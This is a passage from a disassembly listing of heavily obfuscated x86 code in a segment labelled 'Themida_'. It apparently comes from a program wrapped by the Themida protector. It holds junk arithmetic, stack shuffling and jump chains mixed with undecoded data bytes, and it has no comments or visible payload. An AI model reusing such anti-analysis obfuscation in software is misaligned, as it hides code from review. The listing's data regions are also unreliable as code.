		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50BF2E:				; CODE XREF: Themida_:00504098j
		or	ebp, 5A2B0ACDh
		and	ebp, 4D8D70F0h
		add	ebp, 0CA24F06Fh
		jmp	loc_5063F1
; ---------------------------------------------------------------------------

loc_50BF45:				; CODE XREF: Themida_:0050A441j
		xor	eax, [esp]
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		xchg	eax, ebp
		jmp	loc_5046FA
; ---------------------------------------------------------------------------
		dd 50242C89h, 66FF685Dh, 3C890000h, 0E9EF8924h,	0FFFFF009h
		dd 0E90DF780h, 0FFFF76E3h, 4D600FB8h, 38503545h, 0F7506743h
		dd 2D582414h, 0DDF1A79Eh, 0FFE45EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50BF89:				; CODE XREF: Themida_:0050EE19j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebx
		push	530h
		mov	[esp], eax
		push	39A64830h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_50D50C
; ---------------------------------------------------------------------------

loc_50BFBD:				; CODE XREF: Themida_:0050EF43j
		add	ebp, 4
		add	ebp, 4
		push	3420h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_50B8CB
; ---------------------------------------------------------------------------

loc_50BFDE:				; CODE XREF: Themida_:0050C214j
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_504B91
; ---------------------------------------------------------------------------
		dd 8057B252h, 87E98DF2h, 0E900000Ch, 0FFFF6B72h, 4E981h
		dd 0C870000h, 44E95C24h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C00B:				; CODE XREF: Themida_:00503F2Fj
		sub	eax, ecx
		pop	ecx
		push	dword ptr [eax]
		add	dword ptr [esp], 2C8C7A1Dh
		jmp	loc_50E039
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC81h, 1C890000h, 42E95424h, 33FFFFB1h
		dd 0C31240Ch, 240C3324h, 4C4835Ch, 0FF6B2DE9h, 685251FFh
		dd 2D44DE1h, 0F912E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C04E:				; CODE XREF: Themida_:00503F96j
		add	ebx, edx
		sub	ebx, 6E8B654Fh
		pop	edx
		jmp	loc_503331
; ---------------------------------------------------------------------------
		dd 33241C31h, 665C241Ch, 0E9C8BE0Fh, 0FFFFF5C1h, 286BB53h
		dd 0CB8121D9h, 767E6A69h, 34DFC381h, 0B850326Fh, 29B113A9h
		dd 0FFE5A8E9h, 0C8B66FFh, 5FAF6824h, 7E90000h, 0B9FFFFA1h
		dd 23894F13h, 0F7FFC183h, 0CAF181D1h, 5564C115h, 5AFE68h
		dd 24348900h, 646E87BEh, 81E6D119h, 0A02301C6h,	0C1D6F778h
		dd 0DEF704E6h, 7E57C681h, 0F589D04Fh, 0AB0E95Eh, 248B0000h
		dd 3DC38024h, 0C6E9C328h, 0FFFFFFD9h, 2C811C77h, 0E4366E24h
		dd 0E951585Ah, 0FFFFEF02h, 55240489h, 158CE9h, 4BF5700h
		dd 81000000h, 0F46F20C1h, 0E9F90137h, 0FFFFEEDBh
; ---------------------------------------------------------------------------

loc_50C10C:				; CODE XREF: Themida_:0050A7F3j
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		add	edi, 2
		jmp	loc_507C29
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFC4CCh, 0DCF58158h, 0E97C4C3Ch, 0E9Ch
; ---------------------------------------------------------------------------

loc_50C134:				; CODE XREF: Themida_:0050C404j
		add	esp, 4

loc_50C13A:				; CODE XREF: Themida_:0050C8B7j
		push	231h
		mov	[esp], ebp
		push	ebx
		sub	dword ptr [esp], 5E7B281Fh
		pop	ebp
		jmp	loc_506A3C
; ---------------------------------------------------------------------------
		dd 0FFEE835Dh, 0F7966850h, 0E958784Fh, 801h, 0B5B652ACh
		dd 0D003E6C0h, 0AC1AE9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C16E:				; CODE XREF: Themida_:005072D8j
		push	3C1Eh
		mov	[esp], esi
		mov	esi, 80h
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_502EA8
; ---------------------------------------------------------------------------
		dd 0EDE9D828h, 81FFFFE1h, 490E1FC7h, 50CF012Dh,	0EE2BA52h
		dd 0FDB82B3Fh, 31067600h, 2434FFD0h, 4C4815Ah, 81000000h
		dd 3815D1C7h, 0CBEF8146h, 293CFC45h, 7ABD55C7h,	81060D7Ch
		dd 4ECh, 0F564E900h, 5266FFFFh,	0D0289DB2h, 24148B66h
		dd 2F9F6853h, 8F540000h, 4E92404h, 5AFFFF79h, 0D664066h
		dd 6652703Bh, 0E97C50BAh, 0FFFFF4CBh
; ---------------------------------------------------------------------------

loc_50C1FC:				; CODE XREF: Themida_:0050D6C3j
		mov	ecx, 0F44AE54Bh
		add	esi, ecx
		pop	ecx
		add	eax, 3BCB7EBDh
		add	eax, esi
		sub	eax, 3BCB7EBDh
		push	dword ptr [esp]
		pop	esi
		jmp	loc_50BFDE
; ---------------------------------------------------------------------------
		db 66h,	89h, 1Ch
		dd 0FBE95024h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C223:				; CODE XREF: Themida_:00509309j
		sub	dword ptr [esp], 777079A4h
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		push	ebx
		mov	ebx, 4
		mov	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_502E68
; ---------------------------------------------------------------------------
		dd 8904EC83h, 4FBE2434h, 81226004h, 7A1FC0CEh, 0FE9502Fh
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C25F:				; CODE XREF: Themida_:00506CE9j
		add	ecx, 41FC7F0Eh
		jmp	loc_504D30
; ---------------------------------------------------------------------------
		dw 2BEh
		dd 50000000h, 0E746D7B8h, 58C1292Ch, 0FFCAA4E9h, 214605FFh
		dd 0E9552956h, 0FFFFB3ADh
; ---------------------------------------------------------------------------

loc_50C288:				; CODE XREF: Themida_:0050C35Fj
		mov	esp, [esp]
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5051DD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 59C0CF81h, 0E9526749h, 30h, 335AD701h
		dd 0D7E9243Ch, 0C1FFFF80h, 29E902E5h, 83000016h, 0FE6804C4h
		dd 0E900004Fh, 0FFFFDF8Dh, 61E95150h, 5BFFFFB3h, 0E9243487h
		dd 0FFFFDC61h, 0C1498EBAh, 0F1EA8146h, 810F117Fh, 0BB5ACCC2h
		dd 5AD7017Dh, 8B387A89h, 0C483243Ch, 0B9515704h, 3CAD7977h
		dd 0C8BCF89h, 4C48324h,	3C868h,	241C8900h, 38BBh, 1D30100h
		dd 835F5B3Bh, 8101386Ah, 3988384Ah, 4A8167C9h, 0D061D738h
		dd 38428101h, 98260001h, 0CEA7E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C34A:				; CODE XREF: Themida_:00504B8Cj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_50C288
; ---------------------------------------------------------------------------
		dd 785EC981h, 0C18110BCh, 12657022h, 559C829h, 56872253h
		dd 0FFCDF0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50C37D:				; CODE XREF: Themida_:00507E26j
		add	dword ptr [eax], 1
		pop	eax

loc_50C384:				; CODE XREF: Themida_:00504119j
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		push	1339h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		push	eax
		mov	eax, 4
		sub	edi, 179B7547h
		add	edi, eax
		add	edi, 179B7547h
		jmp	loc_50758E
; ---------------------------------------------------------------------------
		db 5Eh
		dd 3D15C281h, 0EA017582h, 3D15EA81h, 2C8B7582h,	1D2CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50C3DE:				; CODE XREF: Themida_:00509924j
		add	ebx, 2D2D4CD5h
		add	ebx, ecx
		sub	ebx, 2D2D4CD5h
		sub	ebx, 315F2A3Bh
		add	dword ptr [ebx], 1
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_50C134
; ---------------------------------------------------------------------------
		db 68h,	8Ch, 6
		dd 455D7512h, 0FFC741E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50C415:				; CODE XREF: Themida_:0050ECCBj
		add	dword ptr [esp], 5910462Ah
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	0B5Ch
		mov	[esp], ecx
		push	eax
		mov	eax, 189D4350h
		shl	eax, 5
		xor	eax, 4AB82C2Ah
		mov	ecx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_508A1F
; ---------------------------------------------------------------------------
		db 81h
		dd 9528A7CDh, 81DDF71Eh, 28524DF5h, 5DEB0141h, 8704C383h
		dd 55C241Ch, 157F0A4Bh,	4B2DD829h, 5B157F0Ah, 0BF05D829h
		dd 530B371Dh, 4EC81h, 0DDE90000h, 81FFFFB8h, 605658E9h
		dd 0D8E9815Ch, 55029B54h, 0ED2A32BDh, 860BE9E2h, 0C801FFFFh
		dd 5F262B2Dh, 240C8B22h, 4C481h, 0BF570000h, 44263581h
		dd 0D9E9F829h, 55FFFF87h, 0ADB6BDBDh, 0B56DE9DAh, 295FFFFFh
		dd 14335FFAh, 24143124h, 8B241433h, 0C892424h, 6698E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C4D6:				; CODE XREF: Themida_:00502D76j
		pop	edx
		shr	ebp, 1
		xor	ebp, 25154BA3h
		shr	ebp, 3
		push	edx
		jmp	loc_5041A0
; ---------------------------------------------------------------------------
		dd 0E907E7C0h, 0FFFFF2E2h, 405h, 42D00h, 65E90000h, 83000013h
		dd 48904ECh, 5E08924h, 4, 4BD55h, 0E8010000h, 0BE5E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50C51A:				; CODE XREF: Themida_:00509EA2j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	5E0Dh
		mov	[esp], ebx
		push	62210CD0h
		push	dword ptr [esp]
		jmp	loc_50D827
; ---------------------------------------------------------------------------
		dd 13E9F301h, 0FFFFFFC3h, 40E92434h, 59000028h,	4C481h
		dd 0E8310000h, 21D2E9h,	83C28100h, 0C15E2F7Ah, 0EA8102E2h
		dd 0C3B2E65Ch, 2BB6E9h,	2434FF00h, 5D545558h, 72B56852h
		dd 46E92338h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C57B:				; CODE XREF: Themida_:00504A26j
		xor	ebp, eax
		xor	eax, ebp
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_506476
; ---------------------------------------------------------------------------

loc_50C58A:				; CODE XREF: Themida_:0050BDDEj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_50EB8B
; ---------------------------------------------------------------------------

loc_50C596:				; CODE XREF: Themida_:0050AFE2j
		sub	eax, ecx
		jmp	loc_50890E
; ---------------------------------------------------------------------------

loc_50C59D:				; CODE XREF: Themida_:0050DF75j
		mov	[esp], eax
		mov	eax, 3B32558h
		add	[esp+4], eax
		pop	eax
		jmp	loc_50A8D7
; ---------------------------------------------------------------------------
		db 1
		dd 0DC4FE9FDh, 5E5AFFFFh, 46BE9h, 24043200h, 0E9240430h
		dd 0FFFFE37Ah, 24048B66h, 5A1A68h, 24048900h, 76AA68h
		dd 24248900h, 4240483h,	0EC815258h, 4, 0BD242C89h, 0B4D603Ch
		dd 390BF581h, 0DDF70463h, 0DDF7DDF7h, 27C58145h, 892FCA9Bh
		dd 0EE95DEAh, 80FFFFD8h, 7A68FFEDh, 89000009h, 65B7241Ch
		dd 805BFD00h, 0EB28A9EDh, 0FF76F6E9h, 4C483FFh,	68DE957h
		dd 0DA010000h, 63C4C281h, 0E95B3C08h, 0FFFF76EAh, 0C281E289h
		dd 4, 5204EA83h, 42474FFh, 24048F5Ah, 241C895Ch, 4EC81h
		dd 14890000h, 37246824h, 0EAE90769h, 58FFFF82h,	405h, 9BE95600h
		dd 83FFFF6Eh, 0CB0104C4h, 0E9008F59h, 0FFFF64EEh, 0BE28159h
		dd 42310D72h, 0E307B850h, 0C201203Fh, 0FFC6AFE9h, 0E38953FFh
		dd 6964E955h, 0D689FFFFh, 240C8B5Ah, 3104C483h,	2434FFCEh
		dd 4C48159h, 21000000h,	24348BF0h, 4C481h, 0C00B0000h
		dd 160B840Fh, 0E9520000h, 0FFFFFF70h, 6A43ED81h, 0FEE9777Eh
		dd 81FFFFEFh, 4C4h, 0D7C5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C6E2:				; CODE XREF: Themida_:0050B1BBj
		inc	dh
		jmp	loc_50F0AD
; ---------------------------------------------------------------------------
		db 0BBh, 0Ch, 6Bh
		dd 33E97729h, 81FFFFB8h, 4C4h, 24048F00h, 0E9F7665Ch, 11E46866h
		dd 1A24E9h
		db 0
; ---------------------------------------------------------------------------

loc_50C709:				; CODE XREF: Themida_:00504A9Cj
		mov	ebp, [esp]
		jmp	loc_50AB35
; ---------------------------------------------------------------------------
		db 68h,	2Dh, 7Bh
		dd 0C890000h, 81595424h, 4C1h, 4E98300h, 5C240C87h, 0E9241C89h
		dd 0FFFF65B5h, 4C481h, 33E90000h, 35FFFF64h, 5FDE00E7h
		dd 0C158C289h, 0EA8108EAh, 2B984CAFh, 62D6BD55h, 0F74D291Dh
		dd 0E265E9DDh, 0D901FFFFh, 0F8BB850h, 0E62D732Fh, 0F72D4B1Ch
		dd 224F35D8h, 0C101A11Dh, 0C1815B58h, 2, 31240C33h, 0C33240Ch
		dd 0E43FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C786:				; CODE XREF: Themida_:0050DB33j
		push	4AF0588Bh
		pop	edi
		add	edi, 6C954B49h
		neg	edi
		jmp	loc_50EE04
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0A4h
		dd 1EEE0B0h, 241C8BD9h,	4C481h,	6CE90000h, 0C1000015h
		dd 30E904EFh, 52FFFFE9h, 434AF5BAh, 7EAC10Dh, 0FF811EE9h
		dd 2434FFFFh, 0FF7B5CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50C7CD:				; CODE XREF: Themida_:00509809j
		push	4670h
		mov	[esp], edx
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	ebx
		jmp	loc_50AAD3
; ---------------------------------------------------------------------------

loc_50C7F1:				; CODE XREF: Themida_:0050ADABj
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		push	eax
		mov	eax, 385F09C6h
		jmp	loc_509622
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9240489h, 17B0h, 0E9240489h, 2225h, 6496E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C826:				; CODE XREF: Themida_:00507F8Cj
		mov	edx, [esp]
		add	esp, 4
		push	1E73h
		mov	[esp], ecx
		push	edi
		mov	edi, 1
		mov	ecx, edi
		pop	edi
		and	eax, ecx
		mov	ecx, [esp]
		push	ecx
		jmp	loc_508980
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0A36BE9D7h, 8966FFFFh, 50662414h, 6310E99Ch,	0E2C1FFFFh
		dd 3EEA8104h, 0E96FED5Bh, 0FFFFFA50h, 81242C8Bh, 4C4h
		dd 32E86800h, 3C890000h, 4815224h, 45222E24h, 0EF815F4Fh
		dd 4F45222Eh, 5A5FF989h, 6859CF01h, 2905h, 53240C89h, 0C2604DBBh
		dd 9FB5B973h, 0CDE98C3Dh, 0ACFFFFC8h, 0E904EC83h, 0FFFFB520h
; ---------------------------------------------------------------------------

loc_50C8B4:				; CODE XREF: Themida_:00508456j
		pop	ecx
		or	eax, eax
		jz	loc_50C13A
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_505195
; ---------------------------------------------------------------------------

loc_50C8D1:				; CODE XREF: Themida_:00509168j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		pop	ebx
		mov	bh, ch
		pop	ecx
		jmp	loc_50D53F
; ---------------------------------------------------------------------------
		dd 5059C801h, 42474FFh,	24048F58h, 0CDD0E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C8F6:				; CODE XREF: Themida_:005038E2j
		mov	eax, 0
		add	eax, ecx
		push	ecx
		mov	ecx, 0
		sub	ecx, 3FAF62B0h
		jmp	loc_50BA13
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 80168h, 243C8900h, 402D22BFh, 65EF8147h, 0E929E408h
		dd 0FFFFFE83h, 24048F66h, 339E9h, 241C8B00h, 4C481h, 68500000h
		dd 1DF1h, 0B5240C89h, 28BCB045h, 240C8BE8h, 4C481h, 0D8F60000h
		dd 0C0FED0F6h, 0FF7B71E9h, 8BC631FFh, 20E92404h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C96B:				; CODE XREF: Themida_:00503210j
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_50DB32
; ---------------------------------------------------------------------------
		db 81h
		dd 9C1D52E3h, 0FEE9576Ah, 50FFFFCDh, 61E4E99Ch,	0C281FFFFh
		dd 4, 0DCF8E953h, 5366FFFFh, 2414F766h,	0EC815B66h, 4
		dd 66241489h, 662236BAh, 0B7DCF281h, 5AD30166h,	62262D66h
		dd 0E9D82966h, 0FFFFDC5Ch
; ---------------------------------------------------------------------------

loc_50C9C0:				; CODE XREF: Themida_:0050B13Fj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_50A1E2
; ---------------------------------------------------------------------------
		dw 0CD89h
		dd 6BCD8159h, 814FAB3Ah, 0D51BF3F5h, 2EDC10Fh, 0D419C581h
		dd 0EE0143F4h, 0E6C1585Dh, 0CB84E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C9F2:				; CODE XREF: Themida_:00507DC8j
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ecx
		jmp	loc_509703
; ---------------------------------------------------------------------------
		dd 4C481h, 5BE90000h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50CA0F:				; CODE XREF: Themida_:0050B309j
		push	14B3443Ch
		pop	edx
		jmp	loc_509831
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 4B9515Dh, 0E9000000h, 0FFFFC975h, 60F668h, 242C8900h
		dd 0FF8E6DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50CA35:				; CODE XREF: Themida_:0050927Dj
		add	edx, 91C5C1B2h

loc_50CA3B:				; CODE XREF: Themida_:00503EBBj
					; Themida_:0050AAE4j
		push	edi
		mov	edi, ebx
		push	3752h
		mov	[esp], edi
		xor	dword ptr [esp], 58845A3Fh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	ecx
		push	eax
		mov	eax, 713A761Fh
		mov	ecx, eax
		pop	eax
		shl	ecx, 4
		push	ebx
		mov	ebx, 75E8205Fh
		jmp	loc_5065C2
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 268h, 0D9295B00h, 55241C8Bh,	0FF7305E9h, 240C8BFFh
		dd 4C481h, 0EF810000h, 1D60436Eh, 3C8BFB01h, 9F79E924h
		dd 1B68FFFFh, 5B1A8266h, 0E905EBC1h, 0FFFFF27Dh, 0C480CCFEh
		dd 58E50077h, 21C2E9h, 0B5516600h, 0F0048Eh, 0A567E9E8h
		dd 9FE9FFFFh, 68FFFF60h, 16E9h,	0FFAEEDE9h, 78C381FFh
		dd 5073460Ah, 0E626C5B8h, 2D7D0D0Ch, 0AD052C0Bh, 115EBE0h
		dd 0C1E958C3h, 81FFFF84h, 2477h, 0D2311A0Bh, 0FFFC0CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50CB05:				; CODE XREF: Themida_:00504909j
		xchg	ecx, [esp]
		pop	esp

loc_50CB09:				; CODE XREF: Themida_:00506F4Cj
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 70991473h
		jmp	loc_5058DE
; ---------------------------------------------------------------------------
		dd 5BCCB81h, 0E3C106ACh, 20F38108h, 318C0289h, 0AAE95BD9h
		dd 5AFFFFAAh, 0E784B951h, 0E9E9FEFBh, 5CFFFFA6h, 2CE9E829h
		dd 66FFFF73h, 5024048Bh, 114468h, 24248900h, 1E1368h, 240C8900h
		dd 4B9h, 244C0100h, 5585904h, 4, 0EA98E956h, 0E901FFFFh
		dd 0FF9130E9h, 0FD295EFFh, 513CC581h, 3C8B4B47h, 4C48124h
		dd 56000000h, 280A5FBEh, 0E9DEF749h, 0FFFF7BC4h, 26856h
		dd 0E8E90000h, 9FFFFF1h, 34FF1C4Fh, 2434FF24h, 4C48359h
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFFC661h
		dd 240C8B66h, 4EC81h, 14890000h, 81E28924h, 4C2h, 0E6895600h
		dd 0FFDF0DE9h, 8BCE01FFh, 0C483240Ch, 24343304h, 33243431h
		dd 0D25C2434h, 0E99C243Ch, 0FFFF5F5Eh, 81242C8Bh, 4C4h
		dd 0E9C33100h, 0FFFFF0F6h, 5C240C33h, 0F66F9F6h, 2568CCB6h
		dd 89000063h, 5954240Ch, 24BCB850h, 2C0D18BEh, 0F7663422h
		dd 0BF4F2DD8h, 10E91FADh, 58000017h, 8702C683h,	248B2434h
		dd 242CD224h, 5F10E99Ch, 8B66FFFFh, 0E2E9240Ch
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50CC67:				; CODE XREF: Themida_:00504AFBj
		push	eax
		pushf
		jmp	loc_502B6E
; ---------------------------------------------------------------------------
		dw 0FBE9h
		dd 81FFFF5Eh, 4ECh, 7707E900h, 0EAC0FFFFh, 0CDB0E903h
		dd 0EB80FFFFh, 61C568CCh, 0C890000h, 77B124h, 2434FFCBh
		dd 592434FFh, 0E904C483h, 0FFFFE272h, 8124148Bh, 4C4h
		dd 4C28100h, 83000000h,	0C9E904EAh, 0BFFFFFAEh,	4, 875FFB29h
		dd 9CE9241Ch
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50CCCB:				; CODE XREF: Themida_:0050B250j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		push	esi
		push	0FDD08FDh
		pop	esi
		xor	esi, 254466CBh
		push	esi
		pop	eax
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ebx, eax
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		neg	ebx
		jmp	loc_50A2F4
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF2414h, 148B0424h, 4C48124h, 8F000000h, 248B2404h
		dd 4D36624h, 8E99C24h, 0F7000004h, 0C5E981D1h, 0D150D47Bh
		dd 10C1E9E1h, 8B660000h, 86E9240Ch, 5BFFFFE7h, 0E985C180h
		dd 0FFFFA860h
; ---------------------------------------------------------------------------

loc_50CD58:				; CODE XREF: Themida_:0050B5E3j
		and	eax, ecx
		jmp	loc_506BA9
; ---------------------------------------------------------------------------
		db 89h
		dd 9FB1240Ch, 80A0B753h, 0EFC012EFh, 80D7F608h,	0DFF684EFh
		dd 0E9DBB050h, 0FFFFC9FEh, 5AD18859h, 0FF8217E9h, 0E68146FFh
		dd 447901DDh, 3F9F681h,	0F7290069h, 5E2434FFh, 515E5456h
		dd 771CA6B9h, 0A2E9816Fh, 816F771Ch, 0FE39BDC6h, 12F3E96Ch
		dd 83570000h, 0C8904ECh, 0B5BA5224h, 0B919BC4Ah, 8216D86h
		dd 505AD131h, 0FF7086E9h, 240433FFh, 33240431h,	895C2404h
		dd 0E589242Ch, 0AB7DE951h, 0F659FFFFh, 0FBB753D2h, 0FFF17BE9h
		dd 0B9C681FFh, 8B2DD369h, 0C4812414h, 4, 8B243487h, 0C892424h
		dd 5D64E924h, 3068FFFFh, 89000009h, 3768242Ch, 5D2A462Ah
		dd 0D5CDC581h, 0E951D5B9h, 0FFFF607Dh, 75D6853h, 0E95B404Fh
		dd 0FFFFE5CAh, 3124248Bh, 0E99C2404h, 0FFFF5D32h, 2444815Dh
		dd 422E8E04h, 2444816Ah, 0A6154604h, 244C294Eh,	246C8104h
		dd 0A6154604h, 0A908E94Eh, 0ED81FFFFh, 5F063C67h, 0C581F529h
		dd 5F063C67h, 0F75DEE89h, 1E681D6h, 8146E24Ch, 0A1FFFCEEh
		dd 6A9FE946h, 34FFFFFFh, 24348B24h, 4C481h, 0C4830000h
		dd 15BA5204h, 0E912BD3Fh, 0FFFFF6B9h
; ---------------------------------------------------------------------------

loc_50CE9C:				; CODE XREF: Themida_:0050D807j
		add	edx, 3FA8060Eh
		push	edi
		mov	edi, 2DC977ACh
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50EF48
; ---------------------------------------------------------------------------
		dd 89243489h, 0B0B3E9E6h, 8F5DFFFFh, 248B2404h,	2424D324h
		dd 5C9CE99Ch, 0C281FFFFh, 757CDF25h, 515AD301h,	28714CB9h
		dd 8E1C12Fh, 0FFA6E1E9h, 0DBE959FFh, 83FFFFDEh,	0EC8102C4h
		dd 2, 240C8966h, 2474FF66h, 0C8B6602h, 2C48324h, 0FFFA1FE9h
		dd 153E68FFh, 4890000h,	0EFE95224h, 0BDFFFFA9h,	3C165256h
		dd 4E28EB81h, 0EB294051h, 4E28C381h, 435D4051h,	12D1B850h
		dd 0C3315D35h, 0BD1CE958h, 5266FFFFh, 4EC81h, 4890000h
		dd 80A0B424h, 0E688B3F4h, 4AA2C58h, 0C924E92Ah,	0E9ADFFFFh
		dd 0FFFF84B4h, 7152E95Ah, 0E801FFFFh, 0AA4A3A05h, 242C8B1Eh
		dd 81E18951h, 4C1h, 0F2BE900h, 0B2050000h, 0E9157D2Fh
		dd 18h,	16BDC181h, 0F7514554h, 8BE92414h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50CF97:				; CODE XREF: Themida_:0050875Fj
		push	dword ptr [esp+4]
		jmp	loc_504AAB
; ---------------------------------------------------------------------------
		dd 0B22DC801h, 0E9157D2Fh, 0FFFFCB81h
; ---------------------------------------------------------------------------

loc_50CFAC:				; CODE XREF: Themida_:00502EBEj
		add	esp, 4
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_50AC0E
; ---------------------------------------------------------------------------
		db 66h
		dd 66554D68h, 0E9240489h, 0FFFF5B9Eh, 43A2CD81h, 81456461h
		dd 88BC5DC5h, 1DE98191h, 11E0749h, 2EB850E9h, 0D77DC29h
		dd 63D338C7h, 0F707E8C1h, 0F8702DD8h, 0C101E108h, 0FFD33BE9h
		dd 86D430FFh, 1EB80DAh,	0FFC061E9h, 19C281FFh, 0E9247F08h
		dd 0FFFF7FCDh, 24048155h, 53666797h, 97EB815Bh,	0E9536667h
		dd 10CBh, 4C381h, 0C3830000h, 241C8704h, 883E95Ch, 0C8010000h
		dd 29540559h, 0F0012BD6h, 2954BF57h, 0F8292BD6h, 20812D5Fh
		dd 505E1AD1h, 0FFA4E1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50D05D:				; CODE XREF: Themida_:005086F8j
		pop	esp
		jmp	loc_5057AD
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 0E9000000h, 0FFFFBB4Fh, 0F472E958h, 48BFFFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_50DCC6
; ---------------------------------------------------------------------------

loc_50D081:				; CODE XREF: Themida_:0050BA6Cj
		push	esi
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		pop	edi
		sub	[edi+24h], ebx
		pop	ebx

loc_50D099:				; CODE XREF: Themida_:0050E401j
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, ebx
		push	ecx
		push	edx
		pop	ecx
		jmp	loc_50B2A6
; ---------------------------------------------------------------------------

loc_50D0AA:				; CODE XREF: Themida_:00505433j
		mov	ecx, 720D1BDFh
		xor	ecx, 75B3E48h
		jmp	loc_506CE0
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFF9D5Fh
; ---------------------------------------------------------------------------

loc_50D0C0:				; CODE XREF: Themida_:0050BB3Ej
		sub	edx, 3FA8060Eh
		add	edx, 0E05BD8h
		add	edx, eax
		jmp	loc_50D801
; ---------------------------------------------------------------------------
